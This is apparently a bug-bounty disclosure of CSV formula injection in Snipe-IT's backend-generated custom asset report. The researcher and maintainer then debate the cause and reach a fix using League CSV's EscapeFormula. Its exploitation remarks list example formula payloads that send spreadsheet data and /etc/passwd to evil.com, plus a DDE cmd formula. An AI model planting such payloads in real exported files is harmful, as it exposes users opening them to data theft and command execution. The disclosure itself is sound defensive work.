CSV Injection in CSV files generated by the backend in snipe/snipe-it

Valid

Reported on

Sep 27th 2022


Description

Formula Elements are not sanitized before adding to CSV reports. This leads to CSV formula injection.

Proof of Concept

Steps to reproduce:

1. Log in to Snipe-IT & create a new Asset with arbitrary values. For the Asset Tag enter =1+1 (Screenshot 1)
2. Got to Reports -> Custom Asset Report. Click on Generate and save the CSV report
3. Observe that the formula entered into the Asset Tag field is not sanitized in the CSV report (Screenshot 2)
4. To prove the CSV injection, open the CSV file in a program like Excel or LibreOffice and observe that the content is interpreted as a formula. Remark: whether this is actually interpreted as a formula depends on the program and platform settings. Google Sheets with default settings was used for this PoC (Screenshot 3)

Note: Formulas in CSV files generated by the frontend are properly sanitized. For instance Assets -> List All -> Export -> CSV (Screenshot 4)

Screenshot 1

Screenshot 1

Screenshot 2

Screenshot 2

Screenshot 3

Screenshot 3

Screenshot 4

Screenshot 4

Remarks on Exploitation

The exploitation of CSV injection is platform and program dependent. CSV files are typically viewed with programs like Microsoft Excel, LibreOffice or Google Sheets. Each of these programs might interpret formulas differently or implement mitigations against CSV injection. This is outside of the scope of Snipe-IT though. Snipe-IT should implement proper formula sanitization to ensure that endusers are protected from CSV injection regardless of the program used to open CSV files. Here are some potential payloads to exploit CSV injection (not tested as this is considered out of scope):

Data Exfiltration:

=IMPORTXML(CONCAT("http://evil.com/?v=", CONCATENATE(A2:E2)), "//a/a10")

Local File Exfiltration:

=WEBSERVICE(CONCATENATE("http://evil.com/?v=",('file:///etc/passwd'#$passwd.A1)))

Remote Code Execution

=cmd|' /C calc'!A0

Impact

The impact of CSV injection can be data exfiltration, local file inclusion, and even remote code execution. The concrete impact depends on the program used by the victim to open the CSV file, as some programs might implement mitigations against CSV injection.

Occurrences

Formulas should be properly sanitized before generation of a CSV file.

We are processing your report and will contact the snipe/snipe-it team within 24 hours. 2 months ago
We have contacted a member of the snipe/snipe-it team and are waiting to hear back 2 months ago
snipe
2 months ago

Maintainer


This is outside the scope of Snipe-IT. Users should open CSVs via import and map their fields as text fields.

snipe
2 months ago

Maintainer


(Additionally, I cannot replicate this in Excel)

vautia
2 months ago

Researcher


Hi @maintainer,

I disagree. CSV Injection is not outside the scope of an application. There is a CWE specifically for CSV injection here. Additionally, have a look at the OWASP definition of CSV Injection here.

For reference, there are plenty existing CVEs for CSV injection in webapps which are exactly like the one detailed in this report. Examples are CVE-2021-40848, CVE-2021-27839, and CVE-2020-13826.

CSV injection is generally a low severity issue since it depends on the user opening the CSV file directly (not via import as you stated). Additionally as mentioned in the report, the payload depends on the spreadsheet program.

As to why you are unable to replicate the issue in Excel: I don't know why that is. As the report states, this can depend on region specific settings. The issue does exist though, as can be seen in Screenshot 2 (the unescaped formula is present inside the CSV file generated by Snipe-IT).

However, you can find a video using default OpenOffice settings here: https://drive.google.com/file/d/1Qdhtej2Nf8qkD2qPdBnxX1oNhCSsbVWQ/view?usp=sharing

Let me know if you have any further questions.

snipe
2 months ago

Maintainer


This is an issue in Bootstrap-Tables, not with us. https://bootstrap-table.com/docs/extensions/export/

vautia
2 months ago

Researcher


How so? The CSV file is generated by the server code (see the linked occurence). There is no sanitization. The fields are added to the row array which is then written directly to the response using fputcsv.

Bootstrap is a client-side library and does thus not affect the CSV file generation on the server. CSV files generated on the client side (see Screenshot 4) are unaffected by this (For instance Assets -> List All -> Export -> CSV).

snipe
2 months ago

Maintainer


That's not correct.

Assets -> List All -> Export -> CSV is handled via Bootstrap Tables, which renders what's visible on the page. The server side export is handled via the Custom Report.

vautia
2 months ago

Researcher


Exactly. Which is why only the custom report is affected by this issue.

snipe
2 months ago

Maintainer


Based off of your reproduction instructions, that's not the report you're using though. That report falls under Reports -> Custom Asset Report, where you have to select a bunch of fields in a form.

vautia
2 months ago

Researcher


I think we are talking past each other. I thought by the name of it that a Custom Asset Report was a kind of Custom Report. In any way, please have a look at this screen recording: https://drive.google.com/file/d/1A1LDio3EfoZ8S9on3IWgXd6uaTXoAmZ8/view?usp=sharing

What you can see here is the HTTP request in Burp showing the generation of the CSV file. We can see that the content of the CSV file is provided in the HTTP response. This proves that the CSV file is indeed generated by the backend and not the frontend (and thus not Bootstrap Tables). It also shows once more the unencoded formulas inside this CSV file.

On the other hand, as you can see in this screen recording: https://drive.google.com/file/d/12whtYm4fdLWHDJnwfylSibVXZTkO0dKR/view?usp=sharing As you stated before, this report is generated by the frontend (Bootstrap Tables) and thus does not trigger a HTTP request in Burp since the backend is not involved in the CSV file generation. As the report states, these CSV files are not affected by CSV injection.

This proves that the issue does indeed lie within Snipe-IT, as only CSV files generated by Snipe-IT itself do not sanitize formulas.

Hope this clears up any confusion.

snipe
2 months ago

Maintainer


Got it - I will keep trying to reproduce this, but I haven't had any luck in Excel or OpenOffice so far.

snipe
2 months ago

Maintainer


We're using the CSV library from https://csv.thephpleague.com/9.0/interoperability/escape-formula-injection/

Which should be escaping those already.

"since version 9.7.4 The default values from the class constructor were updated to comply with the latest recommendations from OWASP regarding CSV injection. As this is a security fix, the BC break should be minimal."

We're using 9.8.0 (via composer.lock)

vautia
2 months ago

Researcher


I think you're not using it correctly.

Your code here looks like this:

fputcsv($handle, $row);

According to this it should be:

$formatter = new EscapeFormula();
fputcsv($handle, $formatter->escapeRecord($row));

I'm not super profound in PHP though, so I might be wrong. What do you think?

snipe
2 months ago

Maintainer


"since version 9.7.4 The default values from the class constructor were updated to comply with the latest recommendations from OWASP"

Meaning if you're using 9.7.4 or later, that step isn't necessary.

vautia
2 months ago

Researcher


Okay. fputcsv seems to be a native PHP function (see here). So calling this does not go through LeagueCSV and is therefore not sanitized by it. So you should be using League\Csv\Writer instead of calling fputcsv directly. Could that be the issue?

You can confirm that the unescaped formula is present in the generated CSV file though, right? Otherwise this might be an issue with my Snipe-IT installation.

snipe
2 months ago

Maintainer


fputs is definitely a native PHP function, yes. Unfortunately, I still can't reproduce this. I can put something up on develop that more directly and explicitly implements this, and perhaps you can test it and see if you can still reproduce that? It's difficult to fix an issue I can't reproduce, as I'm sure you can imagine, so the extra testing would be helpful.

snipe
2 months ago

Maintainer


(Sorry, I meant fputscsv(). Currently stuffing my mouth with lunch.)

vautia
2 months ago

Researcher


Sounds good.

vautia
2 months ago

Researcher


Hi snipe,

I did some further tests and it turns out what I proposed earlier is actually the correct fix. Have a look at this screen recording: https://drive.google.com/file/d/1iky2GrSFXzC0uKJek-boUs-li0iS3WLN/view?usp=sharing What you can see here is the HTTP request to generate the custom Asset Report in Burp. The first time, you can see the unsanitized formulas. After that I edit the ReportsController.php in the running docker container the way I described above. Then the same HTTP request is sent again, and you can observe that the formulas are now correctly sanitized (by prepending a ').

Out of curiosity I also experimented with various spreadsheet programs and I'm also unable to reproduce this in Excel or LibreOffice. I wonder whether they implement mitigations against CSV injection. However, a fresh installation of OpenOffice on Linux works for me, as you can see here: https://drive.google.com/file/d/1iky2GrSFXzC0uKJek-boUs-li0iS3WLN/view?usp=sharing

snipe
2 months ago

Maintainer


Okay I have a PR up here: https://github.com/snipe/snipe-it/pull/11901 - can you see if this resolves the issue?

vautia
2 months ago

Researcher


Looks good!

snipe validated this vulnerability 2 months ago
vautia has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
snipe marked this as fixed in 6.0.12 with commit bae200 2 months ago
snipe has been awarded the fix bounty
This vulnerability will not receive a CVE
to join this conversation